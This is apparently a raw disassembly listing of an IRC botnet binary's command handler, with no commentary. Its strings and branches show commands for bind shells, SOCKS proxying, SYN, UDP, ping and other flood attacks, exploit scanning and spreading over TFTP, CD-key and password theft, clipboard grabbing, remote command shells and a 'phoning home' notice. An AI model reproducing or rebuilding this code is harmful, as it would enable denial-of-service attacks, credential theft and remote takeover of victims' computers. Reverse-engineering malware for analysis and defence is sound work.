[ebp+var_4AF0] push eax call sub_41B5F0 lea eax, [ebp+var_4AF0] push offset asc_42D128 ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294B: ; CODE XREF: sub_401ACD+E93j push offset asc_42D128 ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294B mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297D: ; CODE XREF: sub_401ACD+CB9j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409803 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409803 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FD push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FD push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404955 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404955 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404946 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404946 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493C push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493C push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404923 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404923 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404825 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404825 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404825 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404825 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471F push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471F push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B41 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CD68 loc_402B25: ; CODE XREF: sub_401ACD+10C2j ; sub_401ACD+10E8j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B385 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B41: ; CODE XREF: sub_401ACD+1043j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FD push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FD push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B91 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42CD40 jmp short loc_402B25 ; --------------------------------------------------------------------------- loc_402B91: ; CODE XREF: sub_401ACD+10ADj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BBA push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42CD24 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402BBA: ; CODE XREF: sub_401ACD+10D3j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE3 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42CD08 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402BE3: ; CODE XREF: sub_401ACD+10FCj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0C push [ebp+esi+var_8C] push 25h push offset dword_42CCF4 push offset dword_42CCE8 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402C0C: ; CODE XREF: sub_401ACD+1125j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C35 push [ebp+esi+var_8C] push 18h push offset dword_42CCC8 push offset dword_42CCB8 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402C35: ; CODE XREF: sub_401ACD+114Ej push edi push offset dword_42CCAC call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5E push [ebp+esi+var_8C] push 0Dh push offset dword_42CCA0 push offset dword_42CC94 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402C5E: ; CODE XREF: sub_401ACD+1177j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C87 push [ebp+esi+var_8C] push 0Eh push offset dword_42CC80 push offset dword_42CC74 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402C87: ; CODE XREF: sub_401ACD+11A0j push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CB0 push [ebp+esi+var_8C] push 10h push offset dword_42CC58 push offset dword_42CC48 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402CB0: ; CODE XREF: sub_401ACD+11C9j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD9 push [ebp+esi+var_8C] push 11h push offset dword_42CC2C push offset dword_42CC1C jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402CD9: ; CODE XREF: sub_401ACD+11F2j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D02 push [ebp+esi+var_8C] push 12h push offset dword_42CC04 push offset dword_42CBF8 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402D02: ; CODE XREF: sub_401ACD+121Bj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E58 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42CCA0 push offset dword_42CC94 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 push esi push 0Eh push offset dword_42CC80 push offset dword_42CC74 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 add esp, 40h push esi push 17h push offset dword_42CBE0 push offset dword_42CBD4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 push esi push 16h push offset dword_42CBC8 push offset dword_42CBBC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 add esp, 40h push esi push 11h push offset dword_42CC2C push offset dword_42CC1C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 push esi push 12h push offset dword_42CC04 push offset dword_42CBF8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 add esp, 40h push esi push 0Fh push offset dword_42CBAC push offset dword_42CB9C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 push esi push 13h push offset dword_42CB8C push offset dword_42CB7C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 add esp, 40h push esi push 10h push offset dword_42CC58 push offset dword_42CC48 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 push ebx push [ebp+var_4] push offset unk_42CB48 push [ebp+var_88] push edi call sub_409A73 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E58: ; CODE XREF: sub_401ACD+1244j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E81 push [ebp+esi+var_8C] push 0Fh push offset dword_42CBAC push offset dword_42CB9C jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402E81: ; CODE XREF: sub_401ACD+139Aj push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EAA push [ebp+esi+var_8C] push 13h push offset dword_42CB8C push offset dword_42CB7C jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402EAA: ; CODE XREF: sub_401ACD+13C3j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED3 push [ebp+esi+var_8C] push 17h push offset dword_42CBE0 push offset dword_42CBD4 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402ED3: ; CODE XREF: sub_401ACD+13ECj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFC push [ebp+esi+var_8C] push 16h push offset dword_42CBC8 push offset dword_42CBBC jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402EFC: ; CODE XREF: sub_401ACD+1415j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F25 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42CB00 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402F25: ; CODE XREF: sub_401ACD+143Ej push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E5 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E5 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CD push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CD push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA2 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42CAB0 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402FA2: ; CODE XREF: sub_401ACD+14BBj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCB push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42CA8C jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402FCB: ; CODE XREF: sub_401ACD+14E4j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF4 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42CA6C jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402FF4: ; CODE XREF: sub_401ACD+150Dj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B7 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B7 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458B push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458B push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404575 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404575 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404556 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404556 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404534 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404534 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EC push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EC push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D8 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D8 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A1 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A1 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031C0 call sub_418338 test eax, eax mov eax, offset unk_42C9A8 jnz short loc_403192 mov eax, offset unk_42C980 loc_403192: ; CODE XREF: sub_401ACD+16BEj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 1Ch jmp loc_4083BD ; --------------------------------------------------------------------------- loc_4031C0: ; CODE XREF: sub_401ACD+16B0j push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C2 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C2 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439F push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439F push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AC push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AC push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404293 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404293 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404259 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404259 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422E push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422E push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F4 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F4 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D1 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D1 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B3 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B3 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402B push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402B push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400E push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400E push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF5 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF5 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB6 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB6 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340B push [ebp+esi+var_8C] push 0Ah push offset dword_42C8C0 push offset dword_42C8B4 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_40340B: ; CODE XREF: sub_401ACD+1924j push edi push offset dword_42C8B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403528 cmp [ebp+var_8], ebx jnz short loc_40343F push ebx push [ebp+var_4] push offset dword_42C89C push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_40343F: ; CODE XREF: sub_401ACD+1956j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344D ; --------------------------------------------------------------------------- loc_40344A: ; CODE XREF: sub_401ACD+19CCj mov eax, [ebp+arg_18] loc_40344D: ; CODE XREF: sub_401ACD+197Bj cmp [eax], bl jz short loc_403454 inc eax jmp short loc_403459 ; --------------------------------------------------------------------------- loc_403454: ; CODE XREF: sub_401ACD+1982j mov eax, offset aEmpty ; "<Empty>" loc_403459: ; CODE XREF: sub_401ACD+1985j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_40344A push offset unk_42C868 call sub_4151AD pop ecx loc_4034A6: ; CODE XREF: sub_401ACD+1C5Bj ; sub_401ACD+2F44j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF5 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A23 lea eax, [ebp+var_2C4] push offset unk_42C834 push eax mov dword_4CEE08, ebx call sub_41B886 pop ecx pop ecx loc_4034FE: ; CODE XREF: sub_401ACD+3023j cmp [ebp+var_8], ebx jnz loc_409855 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 loc_403520: ; CODE XREF: sub_401ACD+7119j add esp, 14h jmp loc_409855 ; --------------------------------------------------------------------------- loc_403528: ; CODE XREF: sub_401ACD+194Dj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F75 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F75 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5E push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5E push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F26 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F26 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEC push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEC push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB1 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB1 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C25 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C25 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEB push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEB push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B4 lea eax, [ebp+var_2C4] push offset dword_42C78C push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403693 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_403693: ; CODE XREF: sub_401ACD+1BA8j lea eax, [ebp+var_2C4] push eax call sub_4151AD mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B4: ; CODE XREF: sub_401ACD+1B90j push edi push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E7 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E7 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403708 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2D jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403708: ; CODE XREF: sub_401ACD+1C20j push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372E push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A6 loc_40372E: ; CODE XREF: sub_401ACD+1C4Aj push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C720 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F7 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1B push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4037D6 loc_4037C0: ; CODE XREF: sub_401ACD+1D07j cmp [ebp+var_EC8], ebx jnz loc_4083BD push 32h nop call near ptr 26A0F44h jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037D6: ; CODE XREF: sub_401ACD+1CF1j nop call near ptr 26B0857h push eax push offset unk_42C6E4 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_4037E7: ; CODE XREF: sub_401ACD+1BF6j ; sub_401ACD+1C0Bj mov al, byte_431CE2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_431CE2 jz loc_401E94 mov ecx, edx loc_4037FE: ; CODE XREF: sub_401ACD+1D39j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FE cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403818: ; CODE XREF: sub_401ACD+2009j push 0Bh call sub_40B33F pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403867 push ecx lea eax, [ebp+var_2C4] push offset unk_42C6A4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 20h jmp loc_403ACD ; --------------------------------------------------------------------------- loc_403867: ; CODE XREF: sub_401ACD+1D65j or [ebp+var_730], 0FFFFFFFFh cmp dword_431B00, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D8 mov edi, offset dword_431B00 loc_40389C: ; CODE XREF: sub_401ACD+1DEDj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BE inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389C jmp short loc_4038D8 ; --------------------------------------------------------------------------- loc_4038BE: ; CODE XREF: sub_401ACD+1DE3j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431B00[ecx] mov [ebp+var_74C], ecx loc_4038D8: ; CODE XREF: sub_401ACD+1DC8j ; sub_401ACD+1DEFj cmp [ebp+var_74C], ebx jz loc_403AE1 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CB5F8 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB6E0 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_403980 loc_40395E: ; CODE XREF: sub_401ACD+1EB1j cmp eax, ebx jz short loc_403980 mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395E loc_403980: ; CODE XREF: sub_401ACD+1E8Fj ; sub_401ACD+1E93j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D808 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E2 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E8 ; --------------------------------------------------------------------------- loc_4039E2: ; CODE XREF: sub_401ACD+1F00j mov [ebp+var_7D0], bl loc_4039E8: ; CODE XREF: sub_401ACD+1F13j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039FA mov eax, offset aSequential ; "Sequential" loc_4039FA: ; CODE XREF: sub_401ACD+1F26j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C624 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F7 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33D push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_403A84 loc_403A72: ; CODE XREF: sub_401ACD+1FB5j cmp [ebp+var_71C], ebx jnz short loc_403A9F push 32h call near ptr 26A0F44h nop jmp short loc_403A72 ; --------------------------------------------------------------------------- loc_403A84: ; CODE XREF: sub_401ACD+1FA3j call near ptr 26B0857h nop push eax lea eax, [ebp+var_2C4] push offset unk_42C5E8 push eax call sub_41B886 add esp, 0Ch loc_403A9F: ; CODE XREF: sub_401ACD+1FABj cmp [ebp+var_8], ebx jnz short loc_403AC0 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_403AC0: ; CODE XREF: sub_401ACD+1FD5j lea eax, [ebp+var_2C4] push eax call sub_4151AD pop ecx loc_403ACD: ; CODE XREF: sub_401ACD+1D95j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403818 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE1: ; CODE XREF: sub_401ACD+1E11j push offset unk_42C5B0 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_403AEB: ; CODE XREF: sub_401ACD+1B66j ; sub_401ACD+1B7Bj push 5 call sub_40B33F test eax, eax pop ecx jle short loc_403B01 push offset unk_42C590 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_403B01: ; CODE XREF: sub_401ACD+2028j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B24 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B38 ; --------------------------------------------------------------------------- loc_403B24: ; CODE XREF: sub_401ACD+203Dj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx call near ptr 26A0000h nop loc_403B38: ; CODE XREF: sub_401ACD+2055j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B48 mov esi, offset byte_429110 loc_403B48: ; CODE XREF: sub_401ACD+2074j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42C55C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset byte_411797 push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_403C14 loc_403BFE: ; CODE XREF: sub_401ACD+2145j cmp [ebp+var_2AB4], ebx jnz loc_40828C push 32h nop call near ptr 26A0F44h jmp short loc_403BFE ; --------------------------------------------------------------------------- loc_403C14: ; CODE XREF: sub_401ACD+212Fj nop call near ptr 26B0857h push eax push offset unk_42C520 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_403C25: ; CODE XREF: sub_401ACD+1B3Cj 